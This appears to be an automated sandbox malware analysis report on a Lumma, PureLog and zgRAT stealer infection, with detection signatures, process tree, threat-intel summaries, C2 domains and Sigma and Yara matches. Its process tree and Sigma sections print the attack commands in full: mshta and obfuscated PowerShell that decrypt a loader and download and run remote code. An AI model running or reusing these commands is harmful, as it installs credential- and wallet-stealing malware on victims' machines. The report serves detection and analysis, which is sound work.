Edit tour

Windows Analysis Report

Overview

General Information

Analysis ID:	1579336
Infos:

Detection

LummaC, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Costura Assembly Loader

Yara detected MSILLoadEncryptedAssembly

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 2856 cmdline: cmd /C ""C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

mshta.exe (PID: 3068 cmdline: "C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4 MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 7292 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8068 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}} MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 7864 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

chrome.exe (PID: 4304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: BB7C48CDDDE076E7EB44022520F40F77)

chrome.exe (PID: 1184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2700,i,6766550115079121299,15860530611730691376,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2692 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["crayonutteh.click", "rapeflowwj.lat", "discokeyus.lat", "energyaffai.lat", "crosshuaht.lat", "grannyejh.lat", "necklacebudi.lat", "sustainskelet.lat", "aspecteirs.lat"], "Build id": "yJaNLj--re2"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.7035056787.00000000071F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7292	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xefa63:$b1: ::WriteAllBytes( 0xf015a:$b1: ::WriteAllBytes( 0xb2b2:$s1: -join 0x18387:$s1: -join 0x1b759:$s1: -join 0x1be0b:$s1: -join 0x1d8fc:$s1: -join 0x1fb02:$s1: -join 0x20329:$s1: -join 0x20b99:$s1: -join 0x212d4:$s1: -join 0x21306:$s1: -join 0x2134e:$s1: -join 0x2136d:$s1: -join 0x21bbd:$s1: -join 0x21d39:$s1: -join 0x21db1:$s1: -join 0x21e44:$s1: -join 0x220aa:$s1: -join 0x24240:$s1: -join 0x32c8a:$s1: -join
Process Memory Space: powershell.exe PID: 8068	JoeSecurity_MSIL_Load_Encrypted_Assembly	Yara detected MSIL_Load_Encrypted_Assembly	Joe Security
Process Memory Space: powershell.exe PID: 8068	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x80f0ff:$b2: ::FromBase64String( 0x964bb7:$b2: ::FromBase64String( 0xe0e8de:$b2: ::FromBase64String( 0x3ea7eb:$s1: -join 0x3f5fda:$s1: -join 0x80ed60:$s1: -join 0x8251ea:$s1: -join 0x8c3846:$s1: -join 0x8d091b:$s1: -join 0x8d3ced:$s1: -join 0x8d439f:$s1: -join 0x8d5e90:$s1: -join 0x8d8096:$s1: -join 0x8d88bd:$s1: -join 0x8d912d:$s1: -join 0x8d9868:$s1: -join 0x8d989a:$s1: -join 0x8d98e2:$s1: -join 0x8d9901:$s1: -join 0x8da151:$s1: -join 0x8da2cd:$s1: -join
Process Memory Space: powershell.exe PID: 7864	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
5.2.powershell.exe.71f0000.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
5.2.powershell.exe.76e0000.2.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.2.powershell.exe.76e0000.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
5.2.powershell.exe.76e0000.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
5.2.powershell.exe.76e0000.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E9

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B631

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7864, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 4304, ProcessName: chrome.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E9

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}} , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()|Get-Member)|Where-Object{(Get-Variable _ -Value).Name -ilike '*wn*d*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}} , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896F